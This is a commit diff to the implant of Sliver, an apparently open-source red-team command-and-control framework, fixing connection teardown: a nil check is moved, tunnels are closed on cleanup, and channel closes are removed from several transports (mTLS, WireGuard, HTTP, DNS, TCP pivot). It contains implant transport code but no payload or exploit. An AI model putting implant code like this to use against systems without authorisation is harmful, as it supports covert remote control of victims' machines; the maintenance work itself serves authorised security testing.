Improve closed connection handling

It's okay not to close channels if it is used for writing. Close tunnels
instead.

implant/sliver/sliver.go

@@ -519,19 +519,19 @@ func openSessionHandler(data []byte) {
 // {{end}} -IsBeacon
 
 func sessionMainLoop(connection *transports.Connection) error {
+	if connection == nil {
+		// {{if .Config.Debug}}
+		log.Printf("[session] nil connection!")
+		// {{end}}
+		return nil
+	}
 	err := connection.Start()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[session] failed to establish connection: %s", err)
 		// {{end}}
 		return err
 	}
-	if connection == nil {
-		// {{if .Config.Debug}}
-		log.Printf("[session] nil connection!")
-		// {{end}}
-		return nil
-	}
 	pivots.RestartAllListeners(connection.Send)
 	defer pivots.StopAllListeners()
 	defer connection.Stop()

implant/sliver/transports/connection.go

@@ -45,6 +45,7 @@ func (c *Connection) Cleanup() {
 	c.once.Do(func() {
 		c.cleanup()
 		c.IsOpen = false
+		c.removeAndCloseAllTunnels()
 	})
 }
 
@@ -71,6 +72,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
 	delete(*c.tunnels, ID)
 }
 
+func (c *Connection) removeAndCloseAllTunnels() {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	for id, tunnel := range *c.tunnels {
+		tunnel.Close()
+
+		delete(*c.tunnels, id)
+	}
+}
+
 func (c *Connection) RequestResend(data []byte) {
 	c.Send <- &pb.Envelope{
 		Type: pb.MsgTunnelData,

implant/sliver/transports/session.go

@@ -212,7 +212,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[mtls] lost connection, cleanup...")
 			// {{end}}
-			close(send)
 			conn.Close()
 			close(recv)
 		},
@@ -313,7 +312,6 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[wg] lost connection, cleanup...")
 			// {{end}}
-			close(send)
 			conn.Close()
 			dev.Down()
 			close(recv)
@@ -419,7 +417,6 @@ func httpConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[http] lost connection, cleanup...")
 			// {{end}}
-			close(send)
 			ctrl <- struct{}{}
 			close(recv)
 		},
@@ -534,7 +531,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[dns] lost connection, cleanup...")
 			// {{end}}
-			close(send)
 			ctrl <- struct{}{} // Stop polling
 			close(recv)
 		},
@@ -640,7 +636,6 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 			log.Printf("[tcp pivot] lost connection, cleanup...")
 			// {{end}}
 			pingCtrl <- struct{}{}
-			close(send)
 			ctrl <- struct{}{}
 			close(recv)
 		},

implant/sliver/transports/tunnel.go

@@ -54,3 +54,9 @@ func (c *Tunnel) IncWriteSequence() {
 
 	c.writeSequence += 1
 }
+
+// Close - close tunnel reader and writer
+func (c *Tunnel) Close() {
+	c.Reader.Close()
+	c.Writer.Close()
+}